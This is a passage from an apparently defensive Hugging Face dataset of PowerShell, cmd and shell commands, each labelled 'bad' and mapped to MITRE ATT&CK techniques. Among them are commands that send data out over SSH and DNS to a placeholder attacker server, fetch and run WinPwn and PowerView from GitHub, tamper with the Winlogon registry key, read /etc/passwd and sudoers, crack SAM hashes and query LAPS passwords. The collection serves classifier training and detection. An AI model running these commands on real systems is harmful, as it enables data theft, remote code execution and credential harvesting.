cowWhySo/permission-command-corpus huggingface dataset:
Command: Remove-ItemProperty -Path "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\" -Name "Userinit" -Force -ErrorAction Ignore
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1547.004
Platform: windows
ATT&CK tags: T1547.004
Source rule: Winlogon HKLM Userinit Key Persistence - PowerShell
Notes: PowerShell code to set Winlogon userinit key to execute a binary at logon along with userinit.exe.

Upon successful execution, PowerShell will modify a registry value to execute cmd.exe upon logon/logoff.
Command: ssh #{domain} "(cd /etc && tar -zcvf - *)" > ./etc.tar.gz
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1048
Platform: macos,linux
ATT&CK tags: T1048
Source rule: Exfiltration Over Alternative Protocol - SSH
Notes: Input a domain and test Exfiltration over SSH

Remote to Local

Upon successful execution, sh will spawn ssh contacting a remote domain (default: target.example.com) writing a tar.gz file.
Command: tar czpf - /Users/* | openssl des3 -salt -pass #{password} | ssh #{user_name}@#{domain} 'cat > /Users.tar.gz.enc'
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1048
Platform: macos,linux
ATT&CK tags: T1048
Source rule: Exfiltration Over Alternative Protocol - SSH
Notes: Input a domain and test Exfiltration over SSH

Local to Remote

Upon successful execution, tar will compress /Users/* directory and password protect the file modification of `Users.tar.gz.enc` as output.
Command: Import-Module "#{ps_module}" Invoke-DNSExfiltrator -i "#{ps_module}" -d #{domain} -p #{password} -doh #{doh} -t #{time} #{encoding}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1048
Platform: windows
ATT&CK tags: T1048
Source rule: DNSExfiltration (doh)
Notes: DNSExfiltrator enables the transfer (exfiltration) of a file over a DNS request covert channel. This is basically a data leak testing tool allowing to exfiltrate data over a covert channel.
!!! Test will fail without a domain under your control with A record and NS record !!! 
See this github page for more details - https://github.com/Arno0x/DNSExfiltrator
Command: dig @#{attacker_dns_server} -p #{dns_port} $(echo "#{secret_info}" | base64).google.com
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1048
Platform: macos,linux
ATT&CK tags: T1048
Source rule: Exfiltrate Data using DNS Queries via dig
Notes: This test demonstrates how an attacker can exfiltrate sensitive information by encoding it as a subdomain (using base64 encoding) and 
making DNS queries via the dig command to a controlled DNS server.
Command: reg query "HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer" /v svcVersion
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1518
Platform: windows
ATT&CK tags: T1518
Source rule: Find and Display Internet Explorer Browser Version
Notes: Query the registry to determine the version of internet explorer installed on the system.
Upon execution, version information about internet explorer will be displayed.
Command: Get-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-Object DisplayName, DisplayVersion, Publisher, InstallDate | Format-Table -Autosize Get-ItemProperty HKLM:\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-Object DisplayName, DisplayVersion, Publisher, InstallDate | Format-Table -Autosize
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1518
Platform: windows
ATT&CK tags: T1518
Source rule: Applications Installed
Notes: Query the registry to determine software and versions installed on the system. Upon execution a table of
software name and version information will be displayed.
Command: /usr/libexec/PlistBuddy -c "print :CFBundleShortVersionString" /Applications/Safari.app/Contents/Info.plist /usr/libexec/PlistBuddy -c "print :CFBundleVersion" /Applications/Safari.app/Contents/Info.plist
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1518
Platform: macos
ATT&CK tags: T1518
Source rule: Find and Display Safari Browser Version
Notes: Adversaries may attempt to get a listing of non-security related software that is installed on the system. Adversaries may use the information from Software Discovery during automated discovery to shape follow-on behaviors
Command: iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') Dotnetsearch -noninteractive -consoleoutput
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1518
Platform: windows
ATT&CK tags: T1518
Source rule: WinPwn - Dotnetsearch
Notes: Search for any .NET binary file in a share using the Dotnetsearch function of WinPwn
Command: iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') dotnet -consoleoutput -noninteractive
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1518
Platform: windows
ATT&CK tags: T1518
Source rule: WinPwn - DotNet
Notes: Search for .NET Service-Binaries on this system via winpwn dotnet function of WinPwn.
Command: iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') powerSQL -noninteractive -consoleoutput
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1518
Platform: windows
ATT&CK tags: T1518
Source rule: WinPwn - powerSQL
Notes: Start PowerUpSQL Checks using powerSQL function of WinPwn
Command: cat /etc/passwd > #{output_file} cat #{output_file}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1087.001
Platform: linux
ATT&CK tags: T1087.001
Source rule: Enumerate all accounts (Local)
Notes: Enumerate all accounts by copying /etc/passwd to another file
Command: rm -f #{output_file}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1087.001
Platform: linux
ATT&CK tags: T1087.001
Source rule: Enumerate all accounts (Local)
Notes: Enumerate all accounts by copying /etc/passwd to another file
Command: if [ -f /etc/sudoers ]; then sudo cat /etc/sudoers > #{output_file}; fi; if [ -f /usr/local/etc/sudoers ]; then sudo cat /usr/local/etc/sudoers > #{output_file}; fi; cat #{output_file}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1087.001
Platform: linux,macos
ATT&CK tags: T1087.001
Source rule: View sudoers access
Notes: (requires root)
Command: grep 'x:0:' /etc/passwd > #{output_file} grep '*:0:' /etc/passwd >> #{output_file} cat #{output_file} 2>/dev/null
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1087.001
Platform: linux,macos
ATT&CK tags: T1087.001
Source rule: View accounts with UID 0
Notes: View accounts with UID 0
Command: rm -f #{output_file} 2>/dev/null
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1087.001
Platform: linux,macos
ATT&CK tags: T1087.001
Source rule: View accounts with UID 0
Notes: View accounts with UID 0
Command: username=$(id -u -n) && lsof -u $username
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1087.001
Platform: linux,macos
ATT&CK tags: T1087.001
Source rule: List opened files by user
Notes: List opened files by user
Command: [ "$(uname)" = 'FreeBSD' ] && cmd="lastlogin" || cmd="lastlog" $cmd > #{output_file} cat #{output_file}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1087.001
Platform: linux
ATT&CK tags: T1087.001
Source rule: Show if a user account has ever logged in remotely
Notes: Show if a user account has ever logged in remotely
Command: groups id
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1087.001
Platform: linux,macos
ATT&CK tags: T1087.001
Source rule: Enumerate users and groups
Notes: Utilize groups and id to enumerate users and groups
Command: dscl . list /Groups dscl . list /Users dscl . list /Users | grep -v '_' dscacheutil -q group dscacheutil -q user
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1087.001
Platform: macos
ATT&CK tags: T1087.001
Source rule: Enumerate users and groups
Notes: Utilize local utilities to enumerate users and groups
Command: net user dir c:\Users\ cmdkey.exe /list net localgroup "Users" net localgroup
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1087.001
Platform: windows
ATT&CK tags: T1087.001
Source rule: Enumerate all accounts on Windows (Local)
Notes: Enumerate all accounts
Upon execution, multiple enumeration commands will be run and their output displayed in the PowerShell session
Command: net user get-localuser get-localgroupmember -group Users cmdkey.exe /list ls C:/Users get-childitem C:\Users\ dir C:\Users\ get-localgroup net localgroup
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1087.001
Platform: windows
ATT&CK tags: T1087.001
Source rule: Enumerate all accounts via PowerShell (Local)
Notes: Enumerate all accounts via PowerShell. Upon execution, lots of user account and group information will be displayed.
Command: query user
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1087.001
Platform: windows
ATT&CK tags: T1087.001
Source rule: Enumerate logged on users via CMD (Local)
Notes: Enumerate logged on users. Upon execution, logged on users will be displayed.
Command: echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "esxcli system account list"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1087.001
Platform: windows
ATT&CK tags: T1087.001
Source rule: ESXi - Local Account Discovery via ESXCLI
Notes: An adversary can use ESXCLI to enumerate a list of all local accounts on an ESXi host.
[Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/esxcli/#account%20enumeration)"
Command: cd #{hashcat_exe}\.. #{hashcat_exe} -a 0 -m 1000 -r .\rules\Incisive-leetspeak.rule #{input_file_sam} #{input_file_passwords}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1110.002
Platform: windows
ATT&CK tags: T1110.002
Source rule: Password Cracking with Hashcat
Notes: Execute Hashcat.exe with provided SAM file from registry of Windows and Password list to crack against
Command: del "PathToAtomicsFolder\..\ExternalPayloads\hashcat6.7z" >nul 2>&1 del "PathToAtomicsFolder\..\ExternalPayloads\7z1900.exe" >nul 2>&1 del "PathToAtomicsFolder\..\ExternalPayloads\7z" /Q /S >nul 2>&1 del "PathToAtomicsFolder\..\ExternalPayloads\hashcat-unzip" /Q /S >nul 2>&1
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1110.002
Platform: windows
ATT&CK tags: T1110.002
Source rule: Password Cracking with Hashcat
Notes: Execute Hashcat.exe with provided SAM file from registry of Windows and Password list to crack against
Command: net user /domain net group /domain
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1087.002
Platform: windows
ATT&CK tags: T1087.002
Source rule: Enumerate all accounts (Domain)
Notes: Enumerate all accounts
Upon exection, multiple enumeration commands will be run and their output displayed in the PowerShell session
Command: net user /domain get-localgroupmember -group Users get-aduser -filter *
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1087.002
Platform: windows
ATT&CK tags: T1087.002
Source rule: Enumerate all accounts via PowerShell (Domain)
Notes: Enumerate all accounts via PowerShell. Upon execution, lots of user account and group information will be displayed.
Command: query user /SERVER:#{computer_name}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1087.002
Platform: windows
ATT&CK tags: T1087.002
Source rule: Enumerate logged on users via CMD (Domain)
Notes: Enumerate logged on users. Upon exeuction, logged on users will be displayed.
Command: Invoke-Expression "#{adrecon_path}"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1087.002
Platform: windows
ATT&CK tags: T1087.002
Source rule: Automated AD Recon (ADRecon)
Notes: ADRecon extracts and combines information about an AD environement into a report. Upon execution, an Excel file with all of the data will be generated and its
path will be displayed.
Command: Get-ChildItem "PathToAtomicsFolder\..\ExternalPayloads" -Recurse -Force | Where{$_.Name -Match "^ADRecon-Report-"} | Remove-Item -Force -Recurse
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1087.002
Platform: windows
ATT&CK tags: T1087.002
Source rule: Automated AD Recon (ADRecon)
Notes: ADRecon extracts and combines information about an AD environement into a report. Upon execution, an Excel file with all of the data will be generated and its
path will be displayed.
Command: "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -default -s base lockoutduration lockoutthreshold lockoutobservationwindow maxpwdage minpwdage minpwdlength pwdhistorylength pwdproperties
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1087.002
Platform: windows
ATT&CK tags: T1087.002
Source rule: Adfind -Listing password policy
Notes: Adfind tool can be used for reconnaissance in an Active directory environment. The example chosen illustrates adfind used to query the local password policy.
reference- http://www.joeware.net/freetools/tools/adfind/, https://social.technet.microsoft.com/wiki/contents/articles/7535.adfind-command-examples.aspx
Command: "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -sc admincountdmp #{optional_args}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1087.002
Platform: windows
ATT&CK tags: T1087.002
Source rule: Adfind - Enumerate Active Directory Admins
Notes: Adfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory Admin accounts
reference- http://www.joeware.net/freetools/tools/adfind/, https://stealthbits.com/blog/fun-with-active-directorys-admincount-attribute/
Command: "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -f (objectcategory=person) #{optional_args}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1087.002
Platform: windows
ATT&CK tags: T1087.002
Source rule: Adfind - Enumerate Active Directory User Objects
Notes: Adfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory User Objects
reference- http://www.joeware.net/freetools/tools/adfind/, https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html
Command: "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -sc exchaddresses #{optional_args}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1087.002
Platform: windows
ATT&CK tags: T1087.002
Source rule: Adfind - Enumerate Active Directory Exchange AD Objects
Notes: Adfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory Exchange Objects
reference- http://www.joeware.net/freetools/tools/adfind/, https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html
Command: net user administrator /domain
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1087.002
Platform: windows
ATT&CK tags: T1087.002
Source rule: Enumerate Default Domain Admin Details (Domain)
Notes: This test will enumerate the details of the built-in domain admin account
Command: Get-ADObject -LDAPFilter '(UserAccountControl:1.2.840.113556.1.4.803:=#{uac_prop})' -Server #{domain}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1087.002
Platform: windows
ATT&CK tags: T1087.002
Source rule: Enumerate Active Directory for Unconstrained Delegation
Notes: Attackers may attempt to query for computer objects with the UserAccountControl property
'TRUSTED_FOR_DELEGATION' (0x80000;524288) set
More Information - https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html#when-the-stars-align-unconstrained-delegation-leads-to-rce
Prerequisite: AD RSAT PowerShell module is needed and it must run under a domain user
Command: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainUser -verbose
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1087.002
Platform: windows
ATT&CK tags: T1087.002
Source rule: Get-DomainUser with PowerView
Notes: Utilizing PowerView, run Get-DomainUser to identify the domain users. Upon execution, Users within the domain will be listed.
Command: ([adsisearcher]"objectcategory=user").FindAll(); ([adsisearcher]"objectcategory=user").FindOne()
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1087.002
Platform: windows
ATT&CK tags: T1087.002
Source rule: Enumerate Active Directory Users with ADSISearcher
Notes: The following Atomic test will utilize ADSISearcher to enumerate users within Active Directory.
Upon successful execution a listing of users will output with their paths in AD.
Reference: https://devblogs.microsoft.com/scripting/use-the-powershell-adsisearcher-type-accelerator-to-search-active-directory/
Command: (([adsisearcher]'(objectcategory=organizationalunit)').FindAll()).Path | %{if(([ADSI]"$_").gPlink){Write-Host "[+] OU Path:"([ADSI]"$_").Path;$a=((([ADSI]"$_").gplink) -replace "[[;]" -split "]");for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host "Policy Path[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host "Policy Name[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName} };Write-Output "`n" }}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1087.002
Platform: windows
ATT&CK tags: T1087.002
Source rule: Enumerate Linked Policies In ADSISearcher Discovery
Notes: The following Atomic test will utilize ADSISearcher to enumerate organizational unit within Active Directory.
Upon successful execution a listing of users will output with their paths in AD.
Reference: https://medium.com/@pentesttas/discover-hidden-gpo-s-on-active-directory-using-ps-adsi-a284b6814c81
Command: (([adsisearcher]'').SearchRooT).Path | %{if(([ADSI]"$_").gPlink){Write-Host "[+] Domain Path:"([ADSI]"$_").Path;$a=((([ADSI]"$_").gplink) -replace "[[;]" -split "]");for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host "Policy Path[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host "Policy Name[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName} };Write-Output "`n" }}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1087.002
Platform: windows
ATT&CK tags: T1087.002
Source rule: Enumerate Root Domain linked policies Discovery
Notes: The following Atomic test will utilize ADSISearcher to enumerate root domain unit within Active Directory.
Upon successful execution a listing of users will output with their paths in AD.
Reference: https://medium.com/@pentesttas/discover-hidden-gpo-s-on-active-directory-using-ps-adsi-a284b6814c81
Command: iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') generaldomaininfo -noninteractive -consoleoutput
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1087.002
Platform: windows
ATT&CK tags: T1087.002
Source rule: WinPwn - generaldomaininfo
Notes: Gathers general domain information using the generaldomaininfo function of WinPwn
Command: cd "PathToAtomicsFolder\..\ExternalPayloads" .\kerbrute.exe userenum -d #{Domain} --dc #{DomainController} "PathToAtomicsFolder\..\ExternalPayloads\username.txt"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1087.002
Platform: windows
ATT&CK tags: T1087.002
Source rule: Kerbrute - userenum
Notes: Enumerates active directory usernames using the userenum function of Kerbrute
Command: $target = $env:LOGONSERVER $target = $target.Trim("\\") $IpAddress = [System.Net.Dns]::GetHostAddresses($target) | select IPAddressToString -ExpandProperty IPAddressToString wmic.exe /node:$IpAddress process call create 'wevtutil epl Security C:\\ntlmusers.evtx /q:\"Event[System[(EventID=4776)]]"'
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1087.002
Platform: windows
ATT&CK tags: T1087.002
Source rule: Wevtutil - Discover NTLM Users Remote
Notes: This test discovers users who have authenticated against a Domain Controller via NTLM. 
This is done remotely via wmic and captures the event code 4776 from the domain controller and stores the ouput in C:\temp. [Reference](https://www.reliaquest.com/blog/socgholish-fakeupdates/)
Command: Remove-Item -Path \\$IpAddress\c$\ntlmusers.evtx
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1087.002
Platform: windows
ATT&CK tags: T1087.002
Source rule: Wevtutil - Discover NTLM Users Remote
Notes: This test discovers users who have authenticated against a Domain Controller via NTLM. 
This is done remotely via wmic and captures the event code 4776 from the domain controller and stores the ouput in C:\temp. [Reference](https://www.reliaquest.com/blog/socgholish-fakeupdates/)
Command: Get-ADComputer #{hostname} -Properties *
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1087.002
Platform: windows
ATT&CK tags: T1087.002
Source rule: Suspicious LAPS Attributes Query with Get-ADComputer all properties
Notes: This test executes LDAP query using powershell command Get-ADComputer and lists all the properties including Microsoft LAPS attributes ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime
Command: Get-ADComputer #{hostname} -Properties ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1087.002
Platform: windows
ATT&CK tags: T1087.002
Source rule: Suspicious LAPS Attributes Query with Get-ADComputer ms-Mcs-AdmPwd property
Notes: This test executes LDAP query using powershell command Get-ADComputer and lists Microsoft LAPS attributes ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime
Command: Get-adcomputer -SearchScope subtree -filter "name -like '*'" -Properties *
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1087.002
Platform: windows
ATT&CK tags: T1087.002
Source rule: Suspicious LAPS Attributes Query with Get-ADComputer all properties and SearchScope
Notes: This test executes LDAP query using powershell command Get-ADComputer with SearchScope as subtree and lists all the properties including Microsoft LAPS attributes ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime
Command: & "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -h #{domain} -s subtree -f "objectclass=computer" *
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1087.002
Platform: windows
ATT&CK tags: T1087.002
Source rule: Suspicious LAPS Attributes Query with adfind all properties
Notes: This test executes LDAP query using adfind command and lists all the attributes including Microsoft LAPS attributes ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime
Command: & "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -h #{domain} -s subtree -f "objectclass=computer" ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1087.002
Platform: windows
ATT&CK tags: T1087.002
Source rule: Suspicious LAPS Attributes Query with adfind ms-Mcs-AdmPwd
Notes: This test executes LDAP query using adfind command and lists Microsoft LAPS attributes ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime
Command: ldapsearch -H ldap://#{domain}.#{top_level_domain}:389 -x -D #{user} -w #{password} -b "CN=Users,DC=#{domain},DC=#{top_level_domain}" -s sub -a always -z 1000 dn
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1087.002
Platform: linux
ATT&CK tags: T1087.002
Source rule: Active Directory Domain Search
Notes: Output information from LDAPSearch. LDAP Password is the admin-user password on Active Directory